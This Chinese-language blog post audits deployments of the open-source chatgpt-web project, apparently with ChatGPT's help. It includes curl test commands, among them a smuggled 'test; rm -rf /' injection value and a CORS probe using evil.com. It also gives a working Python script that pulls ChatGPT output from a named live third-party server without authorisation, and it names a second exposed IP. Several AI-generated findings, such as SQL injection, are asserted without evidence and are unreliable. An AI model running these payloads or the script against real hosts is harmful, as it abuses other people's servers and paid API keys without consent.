CharGPT在国内外大火，国内有很多人利用开源项目的代码部署了私有ChatGPT的API网站，但这些网站真的安全吗？网站的安全性到底怎么样？

利用ChatGPT对最火爆的开源代码进行了审计，进行了一番研究。还真发现了一些问题。

私人搭建的网站风格如下：

网站的开源地址如下：

https://github.com/Chanzhaoyu/chatgpt-web

通过引用分析发现，代码已经由20K的stars,代码更新次数已达42次，如下图：

为了节省时间，直接使用ChatGPT对开源代码进行安全代码审计，发现了如下的安全问题和风险：

• 认证和授权问题：在程序中使用了auth中间件来进行身份验证，但并没有详细说明使用的是哪种认证方式。此外，在路由路径中，没有对敏感操作进行授权，如/chat-process和/config。这可能导致未经授权的用户可以访问和操作这些敏感功能，从而导致数据泄露和系统的安全性受到威胁。

  大部分系统连登录都没有配置，内置了openai的API key,任何人拿到IP地址和端口就可以直接使用ChatGPT。

• 数据安全问题：在/chat-process路由中，接收到的请求体可以包含敏感信息，如prompt和options。然而，在处理这些数据时，并没有进行充分的输入验证和过滤，可能导致恶意数据注入、SQL注入等攻击，从而导致数据泄露和系统崩溃等安全问题。

• 代码注入问题：在/chat-process路由中，存在将数据写入响应中的操作，而这些数据是从请求中获取的，这可能导致恶意用户将恶意代码注入到响应中，从而攻击其他用户或系统

利用CURL针对存在的问题进行验证如下：

1.  验证认证和授权问题。

curl -X POST -H "Content-Type: application/json" --data '{"username":"admin","password":"password"}' http://ip:3002/login

90%以上的站点不用登录就可以使用。

2.  验证数据安全问题。

curl -X POST -H "Content-Type: application/json" --data '{"prompt":"test","options":{"key":"value"},"systemMessage":"test","temperature":0.5,"top_p":0.5}' http://ip:3002/chat-process

得出结论为恶意用户可以在不知带openai-api-key的情况下，利用网站的API, 获得ChatGPT输出数据内容。

3.  验证代码注入问题

curl -X POST -H "Content-Type: application/json" --data '{"token":"test; rm -rf /"}' http://ip:3002/verify

4.验证敏感信息是否加密传输

curl -k http://ip:3002/session

如果返回的响应中包含AUTH_SECRET_KEY，则表示敏感信息未加密传输。

5.  验证Access-Control-Allow-Origin是否设置为通配符

curl -i http://ip:3002/chat-process -H "Origin: https://evil.com"

#!/usr/bin/env python  #_*_ coding:utf-8 _*_  
import requestsimport jsonimport time
def chat_api(prompt):    url = "http://141.147.168.252:3002/chat-process"    headers = {"Content-Type": "application/json"}    payload = {        "prompt": prompt,        "systemMessage": "test",        "temperature": 0.5,        "top_p": 0.5    }    response = requests.post(url, headers=headers, data=json.dumps(payload),stream=True)    if response.status_code != 200:        print("error")        return None    #print(response.status_code)    #print(response.text)    text_value = []    for chunk in response.iter_lines():        #print(str(chunk))        data = json.loads(chunk)        text_value = data["text"]        if text_value != None:            print(text_value)    return text_value
chat_api("中国的首都在哪里?")

中国中国的中国的首中国的首都中国的首都是中国的首都是北中国的首都是北京。中国的首都是北京。中国的首都是北京。

数据隐私泄露风险

恶意攻击风险

HTTP协议风险

例如：http://112.93.121.160:3002/#/chat/1002

网站使用了古老的http协议，此协议存在以下安全风险：

1. 窃听攻击：HTTP协议在传输数据时采用明文形式，容易被攻击者窃听。攻击者可以通过中间人攻击等手段截取网络流量，获取用户的敏感信息。

2. 中间人攻击：由于HTTP协议没有身份验证机制，攻击者可以伪装成服务器或客户端，与用户通信并获取用户的信息。

3. XSS攻击：当Web应用程序以未经过滤的方式向浏览器输出用户输入的数据时，攻击者可以插入恶意脚本，导致用户的浏览器执行这些脚本，从而实现攻击目的。这种攻击称为跨站脚本攻击（XSS攻击）。

4. CSRF攻击：攻击者利用受害者的身份，在不知情的情况下，通过构造特殊的URL或表单提交，向Web应用程序发送恶意请求，从而实现攻击目的。这种攻击称为跨站请求伪造（CSRF攻击）。